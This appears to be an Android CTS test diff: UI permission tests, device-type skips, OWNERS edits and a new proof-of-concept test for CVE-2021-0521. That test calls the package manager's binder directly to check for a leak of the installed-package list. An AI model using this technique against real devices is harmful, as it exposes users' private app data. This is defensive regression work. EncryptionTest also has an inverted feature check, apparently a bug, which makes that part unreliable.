 import android.os.Build
 import android.support.test.uiautomator.By
 import androidx.test.filters.SdkSuppress
 import com.android.compatibility.common.util.SystemUtil
 import org.junit.After
+import org.junit.Assume.assumeFalse
 import org.junit.Before
 import org.junit.Ignore
 import org.junit.Test
@@ -42,6 +45,16 @@
     private val micLabel = packageManager.getPermissionGroupInfo(
             Manifest.permission_group.MICROPHONE, 0).loadLabel(packageManager).toString()
 
+    // Permission history is not available on TV devices.
+    @Before
+    fun assumeNotTv() =
+            assumeFalse(packageManager.hasSystemFeature(FEATURE_LEANBACK))
+
+    // Permission history is not available on Auto devices.
+    @Before
+    fun assumeNotAuto() =
+            assumeFalse(packageManager.hasSystemFeature(FEATURE_AUTOMOTIVE))
+
     @Before
     fun installApps() {
         uninstallPackage(APP_PACKAGE_NAME, requireSuccess = false)
@@ -57,6 +70,19 @@
     }
 
     @Test
+    fun testMicrophoneAccessShowsUpOnPrivacyDashboard() {
+        openMicrophoneApp(INTENT_ACTION_1)
+        waitFindObject(By.textContains(APP_LABEL_1))
+
+        openPermissionDashboard()
+        waitFindObject(By.res("android:id/title").textContains("Microphone")).click()
+        waitFindObject(By.descContains(micLabel))
+        waitFindObject(By.textContains(APP_LABEL_1))
+        pressBack()
+        pressBack()
+    }
+
+    @Test
     fun testToggleSystemApps() {
         // I had some hard time mocking a system app.
         // Hence here I am only testing if the toggle is there.
@@ -70,7 +96,7 @@
         menuView.click()
 
         waitFindObject(By.text(SHOW_SYSTEM))
-        uiDevice.pressBack()
+        pressBack()
     }
 
     @Test
@@ -85,6 +111,7 @@
                 PERMISSION_CONTROLLER_PACKAGE_ID_PREFIX + HISTORY_PREFERENCE_ICON))
         waitFindObject(By.res(
                 PERMISSION_CONTROLLER_PACKAGE_ID_PREFIX + HISTORY_PREFERENCE_TIME))
+        pressBack()
     }
 
     @Ignore("b/186656826#comment27")
@@ -100,6 +127,7 @@
         waitFindObject(By.descContains(micLabel))
         waitFindObject(By.textContains(APP_LABEL_1))
         waitFindObject(By.textContains(APP_LABEL_2))
+        pressBack()
     }
 
     private fun openMicrophoneApp(intentAction: String) {
@@ -117,6 +145,14 @@
         }
     }
 
+    private fun openPermissionDashboard() {
+        SystemUtil.runWithShellPermissionIdentity {
+            context.startActivity(Intent(Intent.ACTION_REVIEW_PERMISSION_USAGE).apply {
+                addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+            })
+        }
+    }
+
     companion object {
         const val APP_APK_PATH = "$APK_DIRECTORY/CtsAccessMicrophoneApp.apk"
         const val APP_PACKAGE_NAME = "android.permission3.cts.accessmicrophoneapp"
diff --git a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
index 8bd51cc..7f25e8c 100644
--- a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
+++ b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
@@ -32,14 +32,9 @@
 import android.support.test.uiautomator.UiSelector
 import androidx.test.platform.app.InstrumentationRegistry
 import com.android.compatibility.common.util.DisableAnimationRule
-import com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity
-import com.android.compatibility.common.util.SystemUtil.eventually
-import com.android.compatibility.common.util.SystemUtil.runShellCommand
-import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
+import com.android.compatibility.common.util.SystemUtil.*
 import org.junit.After
-import org.junit.Assert.assertFalse
-import org.junit.Assert.assertNotNull
-import org.junit.Assert.assertTrue
+import org.junit.Assert.*
 import org.junit.Assume.assumeFalse
 import org.junit.Assume.assumeTrue
 import org.junit.Before
@@ -66,6 +61,7 @@
     private val uiDevice: UiDevice = UiDevice.getInstance(instrumentation)
     private val packageManager: PackageManager = context.packageManager
 
+    private val isTv = packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
     private var wasEnabled = false
     private val micLabel = packageManager.getPermissionGroupInfo(
         Manifest.permission_group.MICROPHONE, 0).loadLabel(packageManager).toString()
@@ -124,9 +120,10 @@
                 screenTimeoutBeforeTest
             )
         }
-
-        pressBack()
-        pressBack()
+        if (!isTv) {
+            pressBack()
+            pressBack()
+        }
         pressHome()
         pressHome()
         Thread.sleep(3000)
@@ -169,15 +166,13 @@
             assertTrue("View with text $APP_LABEL not found", appView.exists())
         }
 
-        if (packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
+        if (isTv) {
             assertTvIndicatorsShown(useMic, useCamera, useHotword)
         } else if (packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
             assertCarIndicatorsShown(useMic, useCamera)
         } else {
-            // Hotword gets remapped to RECORD_AUDIO on handheld, so handheld should show a mic
-            // indicator
             uiDevice.openQuickSettings()
-            assertPrivacyChipAndIndicatorsPresent(useMic || useHotword, useCamera)
+            assertPrivacyChipAndIndicatorsPresent(useMic, useCamera)
         }
     }
 
@@ -201,22 +196,12 @@
 
     private fun assertCarIndicatorsShown(useMic: Boolean, useCamera: Boolean) {
         // Ensure the privacy chip is present (or not)
-        var chipFound = false
-        try {
-            eventually {
-                val privacyChip = uiDevice.findObject(By.res(PRIVACY_CHIP_ID))
-                assertNotNull("view with id $PRIVACY_CHIP_ID not found", privacyChip)
-                privacyChip.click()
-                chipFound = true
-            }
-        } catch (e: Exception) {
-            // Handle more gracefully below
-        }
-
+        val chipFound = isChipPresent()
         if (useMic || useCamera) {
             assertTrue("Did not find chip", chipFound)
         } else {
             assertFalse("Found chip, but did not expect to", chipFound)
+            return
         }
 
         eventually {
@@ -233,11 +218,13 @@
     }
 
     private fun assertPrivacyChipAndIndicatorsPresent(useMic: Boolean, useCamera: Boolean) {
-        // Ensure the privacy chip is present
-        eventually {
-            val privacyChip = uiDevice.findObject(UiSelector().resourceId(PRIVACY_CHIP_ID))
-            assertTrue("view with id $PRIVACY_CHIP_ID not found", privacyChip.exists())
-            privacyChip.click()
+        // Ensure the privacy chip is present (or not)
+        val chipFound = isChipPresent()
+        if (useMic || useCamera) {
+            assertTrue("Did not find chip", chipFound)
+        } else {
+            assertFalse("Found chip, but did not expect to", chipFound)
+            return
         }
 
         eventually {
@@ -254,6 +241,21 @@
         }
     }
 
+    private fun isChipPresent(): Boolean {
+        var chipFound = false
+        try {
+            eventually {
+                val privacyChip = uiDevice.findObject(By.res(PRIVACY_CHIP_ID))
+                assertNotNull("view with id $PRIVACY_CHIP_ID not found", privacyChip)
+                privacyChip.click()
+                chipFound = true
+            }
+        } catch (e: Exception) {
+            // Handle more gracefully after
+        }
+        return chipFound
+    }
+
     private fun pressBack() {
         uiDevice.pressBack()
         waitForIdle()
diff --git a/tests/tests/permission5/OWNERS b/tests/tests/permission5/OWNERS
index 7d995f5..febd665 100644
--- a/tests/tests/permission5/OWNERS
+++ b/tests/tests/permission5/OWNERS
@@ -1,6 +1,7 @@
 # Bug component: 137825
 svetoslavganov@google.com
 zhanghai@google.com
+eugenesusla@google.com
 evanseverson@google.com
 ntmyren@google.com
 ewol@google.com
diff --git a/tests/tests/provider/preconditions/Android.bp b/tests/tests/provider/preconditions/Android.bp
index 289aab5..f636464 100644
--- a/tests/tests/provider/preconditions/Android.bp
+++ b/tests/tests/provider/preconditions/Android.bp
@@ -14,7 +14,8 @@
     test_suites: [
         "cts",
         "general-tests",
-        "sts"
+        "sts",
+        "mts"
     ],
     host_supported: true,
     device_supported: false,
diff --git a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
index 6db2d4c..8122b4d 100644
--- a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
+++ b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
@@ -37,6 +37,7 @@
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -99,6 +100,7 @@
 
     // Check correct package is opened
 
+    @Ignore
     @Test
     public void internetPanel_correctPackage() {
         launchInternetPanel();
@@ -136,6 +138,7 @@
         assertThat(currentPackage).isEqualTo(mSettingsPackage);
     }
 
+    @Ignore
     @Test
     public void internetPanel_doneClosesPanel() {
         // Launch panel
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java
index ed33af8..baeca9c 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreTest.java
@@ -266,6 +266,7 @@
     }
 
     @Test
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
     public void testCanManageMedia() throws Exception {
         final String opString = AppOpsManager.permissionToOp(Manifest.permission.MANAGE_MEDIA);
 
diff --git a/tests/tests/resourcesloader/OWNERS b/tests/tests/resourcesloader/OWNERS
index ade2593..0bccde9 100644
--- a/tests/tests/resourcesloader/OWNERS
+++ b/tests/tests/resourcesloader/OWNERS
@@ -1,4 +1,5 @@
 # Bug component: 568761
 rtmitchell@google.com
 chiuwinson@google.com
+toddke@google.com
 patb@google.com
diff --git a/tests/tests/role/OWNERS b/tests/tests/role/OWNERS
index 503ca71..f297ddb 100644
--- a/tests/tests/role/OWNERS
+++ b/tests/tests/role/OWNERS
@@ -1,3 +1,4 @@
 # Bug component: 137825
 zhanghai@google.com
 svetoslavganov@google.com
+eugenesusla@google.com
diff --git a/tests/tests/security/OWNERS b/tests/tests/security/OWNERS
index 5787345..0db6ed8 100644
--- a/tests/tests/security/OWNERS
+++ b/tests/tests/security/OWNERS
@@ -2,6 +2,6 @@
 cbrubaker@google.com
 jeffv@google.com
 nnk@google.com
-mspector@google.com
-manjaepark@google.com
+musashi@google.com
 cdombroski@google.com
+hubers@google.com
diff --git a/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp b/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
index 7051c99..f852553 100644
--- a/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
+++ b/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
@@ -35,6 +35,7 @@
 // The relevant Android API levels
 #define Q_API_LEVEL 29
 #define R_API_LEVEL 30
+#define S_API_LEVEL 31
 
 static int getFirstApiLevel(void) {
     int level = property_get_int32("ro.product.first_api_level", 0);
@@ -201,11 +202,6 @@
 // fstab has the correct fileencryption= option for the userdata partition.  See
 // https://source.android.com/security/encryption/file-based.html
 TEST(FileBasedEncryptionPolicyTest, allowedPolicy) {
-    if(!deviceSupportsFeature("android.hardware.security.model.compatible")) {
-        GTEST_SKIP()
-            << "Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.";
-        return;
-    }
     int first_api_level = getFirstApiLevel();
     struct fscrypt_get_policy_ex_arg arg;
     int res;
@@ -221,6 +217,15 @@
 
     GTEST_LOG_(INFO) << "First API level is " << first_api_level;
 
+    // This feature name check only applies to devices that first shipped with
+    // SC or later.
+    if(first_api_level >= S_API_LEVEL &&
+       !deviceSupportsFeature("android.hardware.security.model.compatible")) {
+        GTEST_SKIP()
+            << "Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.";
+        return;
+    }
+
     // Note: SELinux policy allows the shell domain to use these ioctls, but not
     // apps.  Therefore this test needs to be a real native test that's run
     // through the shell, not a JNI test run through an installed APK.
diff --git a/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp b/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp
index 5341e18..625ef66 100644
--- a/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp
+++ b/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp
@@ -43,12 +43,6 @@
 // as current recommendations from NIST for hashing algorithms (SHA-256).
 // https://source.android.com/compatibility/11/android-11-cdd#9_10_device_integrity
 TEST(VerifiedBootTest, avbHashtreeNotUsingSha1) {
-  if(!deviceSupportsFeature("android.hardware.security.model.compatible")) {
-      GTEST_SKIP()
-          << "Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.";
-    return;
-  }
-
   int first_api_level = getFirstApiLevel();
   GTEST_LOG_(INFO) << "First API level is " << first_api_level;
   if (first_api_level < S_API_LEVEL) {
@@ -57,6 +51,13 @@
     return;
   }
 
+  // This feature name check only applies to devices that first shipped with
+  // SC or later. The check above already screens out pre-S devices.
+  if(!deviceSupportsFeature("android.hardware.security.model.compatible")) {
+      GTEST_SKIP()
+          << "Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.";
+    return;
+  }
   android::fs_mgr::Fstab fstab;
   ASSERT_TRUE(ReadDefaultFstab(&fstab)) << "Failed to read default fstab";
 
diff --git a/tests/tests/security/res/raw/cve_2021_0635_1.flv b/tests/tests/security/res/raw/cve_2021_0635_1.flv
new file mode 100644
index 0000000..8d87f04
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2021_0635_1.flv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2021_0635_2.flv b/tests/tests/security/res/raw/cve_2021_0635_2.flv
new file mode 100644
index 0000000..beebacd
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2021_0635_2.flv
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0339.java b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
index 13b320f..5335a42 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
@@ -70,6 +70,7 @@
         launchActivity(FirstActivity.class, cb); // start activity with callback as intent extra
 
         // blocking while the remotecallback is unset
+        Log.i(TAG, "wait for callbackReturn.get(15)");
         int duration = callbackReturn.get(15, TimeUnit.SECONDS);
 
         // if we couldn't get the duration of secondactivity in firstactivity, the default is -1
@@ -97,25 +98,30 @@
 
         @Override
         public void onEnterAnimationComplete() {
+            Log.d(TAG,this.getLocalClassName()+" onEnterAnimationComplete() start");
             super.onEnterAnimationComplete();
             Intent intent = new Intent(this, SecondActivity.class);
             intent.putExtra("STARTED_TIMESTAMP", SystemClock.uptimeMillis());
             startActivityForResult(intent, DURATION_RESULT_CODE);
             overridePendingTransition(R.anim.translate2,R.anim.translate1);
-            Log.d(TAG,this.getLocalClassName()+" onEnterAnimationComplete()");
+            Log.d(TAG,this.getLocalClassName()+" onEnterAnimationComplete() stop");
         }
 
         @Override
         protected void onActivityResult(int requestCode,int resultCode, Intent data) {
+            Log.d(TAG,this.getLocalClassName()+" onActivityResult() start");
             super.onActivityResult(requestCode, resultCode, data);
             if (requestCode == DURATION_RESULT_CODE && resultCode == RESULT_OK) {
                 // this is the result that we requested
                 int duration = data.getIntExtra("duration", -1); // get result from secondactivity
+                Log.d(TAG,this.getLocalClassName()+" onActivityResult() duration=" + duration);
                 Bundle res = new Bundle();
                 res.putInt(RESULT_KEY, duration);
                 finish();
                 cb.sendResult(res); // update callback in test
+                Log.d(TAG,this.getLocalClassName()+" onActivityResult() result sent");
             }
+            Log.d(TAG,this.getLocalClassName()+" onActivityResult() stop");
         }
     }
 
@@ -126,6 +132,7 @@
     public static class SecondActivity extends Activity{
         @Override
         public void onEnterAnimationComplete() {
+            Log.d(TAG,this.getLocalClassName()+" onEnterAnimationComplete() start");
             super.onEnterAnimationComplete();
             long completedTs = SystemClock.uptimeMillis();
             long startedTs = getIntent().getLongExtra("STARTED_TIMESTAMP", 0);
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0521.java b/tests/tests/security/src/android/security/cts/CVE_2021_0521.java
new file mode 100644
index 0000000..8a883ff
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0521.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.os.IBinder;
+import android.os.Parcel;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.platform.test.annotations.SecurityTest;
+import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
+import java.lang.reflect.Field;
+import java.util.Collections;
+import java.util.List;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static org.hamcrest.core.Is.is;
+import static org.hamcrest.core.IsNot.not;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assume.assumeThat;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0521 {
+
+    private String TAG = "CVE_2021_0521";
+
+    private int getFunctionCode(String className) {
+        int code = -1;
+        try {
+            Class c = Class.forName(className);
+            Field field = c.getDeclaredField("TRANSACTION_getAllPackages");
+            field.setAccessible(true);
+            code = field.getInt(c);
+        } catch (Exception e) {
+            Log.e(TAG, "Exception caught " + e.toString());
+        }
+        return code;
+    }
+
+    private IBinder getIBinderFromServiceManager(String serviceName) {
+        try {
+            return (IBinder) Class.forName("android.os.ServiceManager")
+                    .getMethod("getService", String.class).invoke(null, serviceName);
+        } catch (Exception e) {
+            return null;
+        }
+    }
+
+    /**
+     * b/174661955
+     */
+    @AsbSecurityTest(cveBugId = 174661955)
+    @SecurityTest(minPatchLevel = "2021-06")
+    @Test
+    public void testPocCVE_2021_0521() {
+        IBinder pmsBinder = getIBinderFromServiceManager("package");
+        List<String> allPkgList = Collections.<String>emptyList();
+        try {
+            String desciption = pmsBinder.getInterfaceDescriptor();
+            int code = getFunctionCode(desciption + "$Stub");
+            assumeThat(code, not(is(-1)));
+            Parcel send = Parcel.obtain();
+            Parcel reply = Parcel.obtain();
+            send.writeInterfaceToken(desciption);
+            if (pmsBinder.transact(code, send, reply, 0)) {
+                reply.readException();
+                allPkgList = reply.createStringArrayList();
+            }
+        } catch (Exception e) {
+            Log.e(TAG, "Exception caught " + e.toString());
+        } finally {
+            Log.e(TAG, "List of installed packages: " + allPkgList.toString());
+            assertThat("Got a non empty list of installed packages, hence device "
+                    + "is vulnerable to b/174661955", allPkgList.size(), is(0));
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/EncryptionTest.java b/tests/tests/security/src/android/security/cts/EncryptionTest.java
index 84581a0..7a40bb6 100644
--- a/tests/tests/security/src/android/security/cts/EncryptionTest.java
+++ b/tests/tests/security/src/android/security/cts/EncryptionTest.java
@@ -49,10 +49,14 @@
     @Before
     public void setUp() throws Exception {
         Context context = InstrumentationRegistry.getInstrumentation().getContext();
-        // Assumes every test in this file asserts a requirement of CDD section 9.
-        assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
-                context.getPackageManager()
-                .hasSystemFeature(PackageManager.FEATURE_SECURITY_MODEL_COMPATIBLE));
+        // This feature name check only applies to devices that first shipped with
+        // SC or later.
+        if (PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.S) {
+            // Assumes every test in this file asserts a requirement of CDD section 9.
+            assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
+                    !context.getPackageManager()
+                    .hasSystemFeature(PackageManager.FEATURE_SECURITY_MODEL_COMPATIBLE));
+        }
     }
 
     private void handleUnencryptedDevice() {
diff --git a/tests/tests/security/src/android/security/cts/FileIntegrityManagerTest.java b/tests/tests/security/src/android/security/cts/FileIntegrityManagerTest.java
index f011f50..64b3c33 100644
--- a/tests/tests/security/src/android/security/cts/FileIntegrityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/FileIntegrityManagerTest.java
@@ -22,6 +22,7 @@
 
 import android.content.Context;
 import android.content.pm.PackageManager;
+import android.os.Build;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.RestrictedBuildTest;
 import android.security.FileIntegrityManager;
@@ -59,10 +60,14 @@
     @Before
     public void setUp() throws Exception {
         mContext = InstrumentationRegistry.getInstrumentation().getContext();
-        // Assumes every test in this file asserts a requirement of CDD section 9.
-        assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
-                mContext.getPackageManager()
-                .hasSystemFeature(PackageManager.FEATURE_SECURITY_MODEL_COMPATIBLE));
+        // This feature name check only applies to devices that first shipped with
+        // SC or later.
+        if (PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.S) {
+            // Assumes every test in this file asserts a requirement of CDD section 9.
+            assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
+                    mContext.getPackageManager()
+                    .hasSystemFeature(PackageManager.FEATURE_SECURITY_MODEL_COMPATIBLE));
+        }
 
         mFileIntegrityManager = mContext.getSystemService(FileIntegrityManager.class);
         mCertFactory = CertificateFactory.getInstance("X.509");
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 725cdbf..6d1b25f 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -2404,6 +2404,11 @@
                 } catch (Exception e) {
                     // local exceptions ignored, not security issues
                 } finally {
+                    try {
+                        codec.stop();
+                    } catch (Exception e) {
+                        // local exceptions ignored, not security issues
+                    }
                     codec.release();
                     renderTarget.destroy();
                 }
@@ -2606,6 +2611,13 @@
         assertExtractorDoesNotHang(R.raw.bug_127313764);
     }
 
+    @Test
+    @AsbSecurityTest(cveBugId = 189402477)
+    public void testStagefright_cve_2021_0635() throws Exception {
+        doStagefrightTest(R.raw.cve_2021_0635_1);
+        doStagefrightTest(R.raw.cve_2021_0635_2);
+    }
+
     private int[] getFrameSizes(int rid) throws IOException {
         final Context context = getInstrumentation().getContext();
         final Resources resources =  context.getResources();
diff --git a/tests/tests/security/src/android/security/cts/VerifiedBootTest.java b/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
index 8cf63bd..6342bf4 100644
--- a/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
+++ b/tests/tests/security/src/android/security/cts/VerifiedBootTest.java
@@ -41,10 +41,14 @@
     @Before
     public void setUp() throws Exception {
         mContext = InstrumentationRegistry.getInstrumentation().getContext();
-        // Assumes every test in this file asserts a requirement of CDD section 9.
-        assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
-                mContext.getPackageManager()
-                .hasSystemFeature(PackageManager.FEATURE_SECURITY_MODEL_COMPATIBLE));
+        // This feature name check only applies to devices that first shipped with
+        // SC or later.
+        if (PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.S) {
+            // Assumes every test in this file asserts a requirement of CDD section 9.
+            assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
+                    mContext.getPackageManager()
+                    .hasSystemFeature(PackageManager.FEATURE_SECURITY_MODEL_COMPATIBLE));
+        }
     }
 
     private static boolean isLowRamExempt(PackageManager pm) {
diff --git a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt
index a133e19..ba673f0 100644
--- a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt
+++ b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt
@@ -27,6 +27,7 @@
 import android.hardware.SensorPrivacyManager.Sensors.CAMERA
 import android.hardware.SensorPrivacyManager.Sensors.MICROPHONE
 import android.hardware.SensorPrivacyManager.Sources.OTHER
+import android.hardware.camera2.CameraManager
 import android.support.test.uiautomator.By
 import android.view.KeyEvent
 import androidx.test.platform.app.InstrumentationRegistry
@@ -67,6 +68,8 @@
                 "android.sensorprivacy.cts.usemiccamera.extra.DELAYED_ACTIVITY"
         const val DELAYED_ACTIVITY_NEW_TASK_EXTRA =
                 "android.sensorprivacy.cts.usemiccamera.extra.DELAYED_ACTIVITY_NEW_TASK"
+        const val RETRY_CAM_EXTRA =
+                "android.sensorprivacy.cts.usemiccamera.extra.RETRY_CAM_EXTRA"
         const val PKG_NAME = "android.sensorprivacy.cts.usemiccamera"
         const val RECORDING_FILE_NAME = "${PKG_NAME}_record.mp4"
         const val ACTIVITY_TITLE_SNIP = "CtsUseMic"
@@ -125,6 +128,7 @@
     }
 
     fun testDialog(delayedActivity: Boolean = false, delayedActivityNewTask: Boolean = false) {
+        checkCameraPresentIfNeeded()
         try {
             setSensor(true)
             val intent = Intent(MIC_CAM_ACTIVITY_ACTION)
@@ -187,6 +191,9 @@
     @Test
     @AppModeFull(reason = "Instant apps can't manage keyguard")
     fun testCantChangeWhenLocked() {
+        Assume.assumeTrue(packageManager
+                .hasSystemFeature(PackageManager.FEATURE_SECURE_LOCK_SCREEN))
+
         setSensor(false)
         assertFalse(isSensorPrivacyEnabled())
         runWhileLocked {
@@ -215,6 +222,7 @@
     @Test
     @AppModeFull(reason = "Uses secondary app, instant apps have no visibility")
     fun testOpNotRunningWhileSensorPrivacyEnabled() {
+        checkCameraPresentIfNeeded()
         setSensor(false)
         val before = System.currentTimeMillis()
         startTestApp()
@@ -233,8 +241,11 @@
     @Test
     @AppModeFull(reason = "Uses secondary app, instant apps have no visibility")
     fun testOpStartsRunningAfterStartedWithSensoryPrivacyEnabled() {
+        checkCameraPresentIfNeeded()
         setSensor(true)
-        startTestApp()
+        // Retry camera connection because external cameras are disconnected
+        // if sensor privacy is enabled (b/182204067)
+        startTestApp(true)
         UiAutomatorUtils.waitFindObject(By.text(
                 Pattern.compile("Cancel", Pattern.CASE_INSENSITIVE))).click()
         assertOpRunning(false)
@@ -247,8 +258,11 @@
     @Test
     @AppModeFull(reason = "Uses secondary app, instant apps have no visibility")
     fun testOpGetsRecordedAfterStartedWithSensorPrivacyEnabled() {
+        checkCameraPresentIfNeeded()
         setSensor(true)
-        startTestApp()
+        // Retry camera connection because external cameras are disconnected
+        // if sensor privacy is enabled (b/182204067)
+        startTestApp(true)
         UiAutomatorUtils.waitFindObject(By.text(
                 Pattern.compile("Cancel", Pattern.CASE_INSENSITIVE))).click()
         val before = System.currentTimeMillis()
@@ -266,6 +280,7 @@
     @Test
     @AppModeFull(reason = "Uses secondary app, instant apps have no visibility")
     fun testOpLastAccessUpdatesAfterToggleSensorPrivacy() {
+        checkCameraPresentIfNeeded()
         setSensor(false)
         val before = System.currentTimeMillis()
         startTestApp()
@@ -297,6 +312,7 @@
     @Test
     @AppModeFull(reason = "Uses secondary app, instant apps have no visibility")
     fun testOpFinishedWhileToggleOn() {
+        checkCameraPresentIfNeeded()
         setSensor(false)
         startTestApp()
         eventually {
@@ -314,13 +330,25 @@
         assertOpRunning(false)
     }
 
+    private fun checkCameraPresentIfNeeded() {
+        if (sensor == CAMERA) {
+            val cameraManager: CameraManager = context.getSystemService(CameraManager::class.java)!!
+            Assume.assumeTrue("No camera available", cameraManager.cameraIdList.isNotEmpty())
+        }
+    }
+
     private fun startTestApp() {
+        startTestApp(false)
+    }
+
+    private fun startTestApp(retryCameraOnError: Boolean) {
         val intent = Intent(MIC_CAM_ACTIVITY_ACTION)
                 .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                 .addFlags(Intent.FLAG_ACTIVITY_MATCH_EXTERNAL)
         for (extra in extras) {
             intent.putExtra(extra, true)
         }
+        intent.putExtra(RETRY_CAM_EXTRA, retryCameraOnError)
         context.startActivity(intent)
         // Wait for app to open
         UiAutomatorUtils.waitFindObject(By.textContains(ACTIVITY_TITLE_SNIP))
diff --git a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/UseMicCamera.kt b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/UseMicCamera.kt
index 7281cad..0177c64 100644
--- a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/UseMicCamera.kt
+++ b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/UseMicCamera.kt
@@ -35,6 +35,7 @@
 import android.os.Bundle
 import android.os.Handler
 import android.os.Process
+import android.util.Log
 import android.util.Size
 
 private const val MIC = 1 shl 0
@@ -42,10 +43,15 @@
 
 private const val SAMPLING_RATE = 8000
 
+private const val RETRY_TIMEOUT = 5000L
+private const val TAG = "UseMicCamera"
+
 class UseMicCamera : Activity() {
     private var audioRecord: AudioRecord? = null
     private var cameraDevice: CameraDevice? = null
     private lateinit var appOpsManager: AppOpsManager
+    private var cameraOpenRetryCount: Int = 0
+    private var cameraMaxOpenRetry: Int = 0
 
     companion object {
         const val MIC_CAM_ACTIVITY_ACTION =
@@ -60,6 +66,8 @@
                 "android.sensorprivacy.cts.usemiccamera.extra.DELAYED_ACTIVITY"
         const val DELAYED_ACTIVITY_NEW_TASK_EXTRA =
                 "android.sensorprivacy.cts.usemiccamera.extra.DELAYED_ACTIVITY_NEW_TASK"
+        const val RETRY_CAM_EXTRA =
+                "android.sensorprivacy.cts.usemiccamera.extra.RETRY_CAM_EXTRA"
     }
 
     override fun onCreate(savedInstanceState: Bundle?) {
@@ -125,6 +133,15 @@
         val outputSize: Size = config!!.getOutputSizes(outputFormat)[0]
         val handler = Handler(mainLooper)
 
+        // Retry camera connection because external cameras are disconnected
+        // if sensor privacy is enabled (b/182204067)
+        val isExternalCamera = (cameraManager!!.getCameraCharacteristics(cameraId)
